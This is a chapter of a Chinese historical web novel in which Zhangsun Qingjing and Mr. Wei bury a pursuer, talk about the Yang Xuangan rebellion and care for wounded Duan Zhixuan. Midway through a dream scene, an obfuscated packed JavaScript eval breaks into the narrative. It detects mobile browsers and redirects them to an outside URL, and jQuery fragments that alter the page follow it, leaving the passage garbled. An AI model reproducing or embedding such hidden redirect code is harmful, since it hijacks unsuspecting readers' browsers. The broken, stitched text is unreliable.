长孙青璟背过身去,不忍道:“韦先生,我承认我食古不化,不过还是要劝你一言。现在他人也死了,我们也都安然无恙,你好赖给他留一件像样的衣服再埋……”
“罢了。我再搜罗搜罗就让他入土。”韦先生又探进此人深衣背后的囊袋,摸出几块玉来,“哎,读书人,这些玉器看着不错,你要不要?”
“我不要,你自己留着吧。”长孙青璟又刨了几铲土,歪头扶着额角道,“我宁可和段志玄一起去偷杨广的……”
“哈哈哈哈!”从相识到现在都一贯谨慎的韦先生突然爆发出不管不顾的大笑,惹得卡在树枝间的火把焰尖也剧烈晃动起来,“偷杨广家的东西算是吊民伐罪了是吧?你果然是个正经读书人!”
“好了。”韦先生摩拳擦掌道,“我听你的,全须全尾埋了他——依着我的性子,非扒光了衣服,弄花了他的脸,这事才算完。——走吧。”
韦先生俯身,使劲一推,将那候人的尸首推进方才挖好的坑中。
长孙青璟念了声佛,心中万般沮丧。
“不妨这样想,若是我没有及时将他杀死,我们四个已经在被押解回洛阳的路上了……要是候人们够聪明,再来个瓮中捉鳖,李世民和那个什么收尸的白丸也逃不了,顺藤摸瓜的话,张亮逃不到蒲津渡也被逮回来了——之后你们各自又要株连多少人我可不敢多想。”韦先生这句话倒是毫无调侃意味,“你死我活的事情就不要妄想两全了。你要实在过意不去,就替他多念念经超度一下,我决计不笑话。”
听到“李世民也逃不了”一句,长孙青璟便沉默不语,随着韦先生一同寻找枯枝败叶,混入翻卷而出的泥土中又回填入新刨的坑中。
“明早太阳一晒,保管神仙也看不出。”韦先生在土坑上来来回回走动将泥踩结实,自言自语道。
“喂,喝口酒,再找点苔藓,一起来踩!”韦先生将腰间葫芦抛给长孙青璟。
“这是你第几次从宇文述爪牙手中脱身了?”长孙青璟将葫芦扔回道,“谢了,我在孝期,不喝酒。”
“你还没出孝期就差点跟地下的家人团聚了,还不喝两口庆祝你家里人不要你下去陪他们。”韦先生拔开塞子,自顾自喝了起来。
两人席地而坐,在夜风里沉默了许久。韦先生触景生情,叹息良久。面对长孙青璟,他有一种他乡遇故知的亲近感,突然开始侃侃而谈。
“高公子,我不记得这是我第几次逃脱了宇文述爪牙的追捕。我只想说上柱国韩子通没有特别偏爱我,那是我自吹自擂呢,也就只能唬住喝了曼陀罗酒的段志玄。他要是真偏爱我,就不该在我带着女儿逃亡的时候,眼睁睁看着她病死……”韦先生抹了一下眼眶,苦笑道,“……这算什么偏爱,分明是凌迟。”
长孙青璟设法靠近了这个老人一些,伸手拍拍他的肩头,正欲启齿,韦先生的脸色在火炬下变得格外温柔:“若是说他不偏爱我,我又偏偏遇到了李梵娘。她长得与我过世的女儿一模一样,碰巧又没了父亲。也是杨广造的孽……我知道你在想什么,你猜得不错,我参加了杨玄感之乱——我不但认得杨玄感兄弟几个,还认识王仲伯、赵怀义这两头蠢猪……”
“你……”长孙青璟斟酌着措辞。
“我不后悔举兵一事,我只是后悔没劝玄感取李密的上策:袭据涿郡,扼临榆关,让暴君困死在辽东,自食其果。”韦先生为自己辩解着。
“我是说,你好好活着。”长孙青璟托着腮道,“李梵娘不能没有父亲。”
“是啊。”老人窘迫地笑道,“是我错怪你了,生怕你问些我不爱听的,我梦里都是那些没有参加叛乱的勋贵亲友问我后不后悔,真是烦死了……你这小子,真是又正经又不正经,做事牢靠说话又挺伤人。”
两人回屋,段志玄已经熟睡,鼾声应和着连枝灯忽明忽暗的抖动,令人产生一种大难不死的奇异感觉。
“他没有发烧,也不喊疼了。”睡得并不安稳的李梵娘差点从小案上摔下,看见是自己人,才放下心来。
“但是说了梦话。”李梵娘抿嘴笑道,“你们想不想听?”
“他梦里承认自己一路杀了多少官兵?”韦先生听说段志玄无大碍,松了口气,接过李梵娘递来的桂皮饮,笑着问道,“你替他记下没有?我算算大业律里哪条刑罚与他的罪过匹配。”
“才不是你想的那样,他一会儿梦见自己被父亲打,一会儿梦见未婚妻不要他了。”李梵娘重新为段志玄伤口缝线处涂上蜂蜜膏,“都是韦先生不好,明明是担心新安那边无人拆线才用的桑皮线,偏偏那么吓唬他。你可答应我,等他醒了,亲自跟他解释清楚桑皮线将来被皮肉吸走了不怎么留疤,省得他为这种事做噩梦!”
“我原本以为这小子是硬骨头糙汉子,谁知这么婆婆妈妈。”韦先生笑道,“留道疤而已,有什么好担心的!等他醒了非好好笑话他一下不可。”
李梵娘借着连枝灯看明白了韦先生身上的血迹与长孙青璟身上的尘土与枯枝败叶。她当然听到了屋外异响,也谨记韦先生嘱托不要多管闲事。她估摸着眼前两人约莫做了些杀人埋尸的勾当,然后为了不吓到她又若无其事地坐回这里谈笑风生。
“稍等。”这个外表柔弱内心坚毅的少女举着油灯转进另一间屋子,不声不响地取出一身干净衣裳交给韦先生。
她又以手势暗示长孙青璟除去身上浮土腐叶。
“高公子,你们没事吧?”李梵娘小心翼翼问道。
“没事。”长孙青璟若无其事地拍打着身上泥土与树叶,与李梵娘轻声说笑,“收药材时摔了一跤。谁知道院落里的地这么不平整。”
韦先生向李梵娘摇摇头,示意她不要再多问,他将沾血的衣裳换去,在李梵娘催促下洗净了脸。他又自行用烈酒抹了手,近前查看段志玄伤口,摸摸他额头,把一下脉搏。
“这下是真死不了了。”韦先生十拿九稳地向一个干净药帢中装上各种药材,丸、散、膏,准备让段志玄带去新安。
他叮嘱长孙青璟与李梵娘道:“你们两个小憩片刻,新安来回很快,以李世民和张亮的性子,估摸再过一个时辰就搬来救兵了……你们睡一会儿,我把门。”
两人不敢违拗长者,而且确实疲倦不堪,便随意找了个勉强安身的角落靠墙假寐。
大野之泽的犀牛又一次出现在长孙青璟梦里,只是这一次,它在陷阱里挣扎,血流如注;她在陷阱外被捆在刑柱上,无力挣脱。虞人们正在商
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683255|188779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
议如何处置他们,乱刀砍死,万剑穿心,还是绞杀,烧死……
“醒醒,这东西你从哪里得来的?”韦先生推醒了长孙青璟,手中握着镌刻有“拔拔鹅王”姓名的弹丸。
长孙青璟一下子警醒,劈手夺回弹丸:“先生趁我睡着了搜我身,不算君子作为吧?”
韦先生同样警觉地望着她:“我从不乱翻朋友的东西。只是你方才噩梦连连,我一边听着也万分苦痛。心中纠结许久,看你是梦魇了,便及时将你推醒,弹丸便是你做噩梦时从身上掉落的。”
长孙青璟见此人说话处事滴水不漏,便将真话混着谎话一并告诉他:“这是我在大兴利人市买的古董,铺主姓穆,真货假货掺杂着卖……难道是我误打误撞得了先生家的东西?”
“不是。”韦先生笑道,“只是想起了故人……”他突然仔细端详起长孙青璟的脸。
长孙青璟心里犯怵,下意识地拉高衣领遮住脖子,以免露出破绽。
还好,韦先生显然没有怀疑她是个女孩,只是怀疑她隐瞒了身世。
“哈哈。这是好东西啊,说了你也不懂。”韦先生故弄玄虚地指着长孙青璟悉心收好的弹丸道,“倘若这弹丸是真的——你可知道这样一个小小物什在外国使节面前给皇帝长了多少脸?价值多少赏赐?”
“不知道。”长孙青璟边笑边调侃,“你那么激动作甚,说不定这是件假古董。穆伯脩那厮最擅长做这些,然后讲个感天动地的英雄故事来欺骗不谙世事又财大气粗的少年……说不定我也着了他的道。”
“弹丸也许是假,但英雄故事是真。那也算我们有缘。”
透过户牖的缝隙,晨曦开始拓荒。起初一如深夜一般,什么都看不见,无论是透过云层的点状光亮,群山的线条,村落的轮廓都浸渍在不见五指的黑暗中。然而,肉眼可见的,黑暗中掺进了透亮的清水,黑色开始被稀释……
韦先生似乎真的找到了一位忘年交,开始喋喋不休地说起自己与这弹丸主人的渊源。
“这位弹丸上的‘拔拔鹅王’,就是前任右骁卫将军长孙季晟了,这是他在周时的名讳。我之前与段志玄开玩笑说阎罗故意放我一条生路全是胡扯,我的这位恩师——我姑且这么称呼他吧,虽说他多半嫌我丢脸,也许根本不记得我,全是我瞎猜,长孙季晟在我年轻时所授的斥候之术才是真的保住了我的命……”韦先生若有所思道。
“是吗?”长孙青璟领教了这位追随杨玄感作乱的不知名大盗数次套话绝技,并不敢相信他所说的半个字,只是半信半疑地敷衍着。
“那是当然,年轻时挨的那些劈头盖脸的唾骂、被罚抄了无数遍的符契,冬夜被扔进刺骨凉水里的疼痛、夏日里披草衣抹烂泥的折磨使得裴蕴和宇文述这两条狐狸总是逮不住我……”长孙青璟并不为所动,只是赔笑。
“他们也不想想我是谁的高足?输给我不丢人。只可惜没机会去祭拜他老人家……”韦先生冷笑道,“祝杨广这暴君夜夜美梦……”
“谢天谢地没有来迟!”门扉被轻轻推开。
李世民就如一头鹘鹰般落地无声。他细细检视屋内,三人俱在,不由大舒一口气,便向门外做手势。被刻意压制的车马声传入了众人耳中。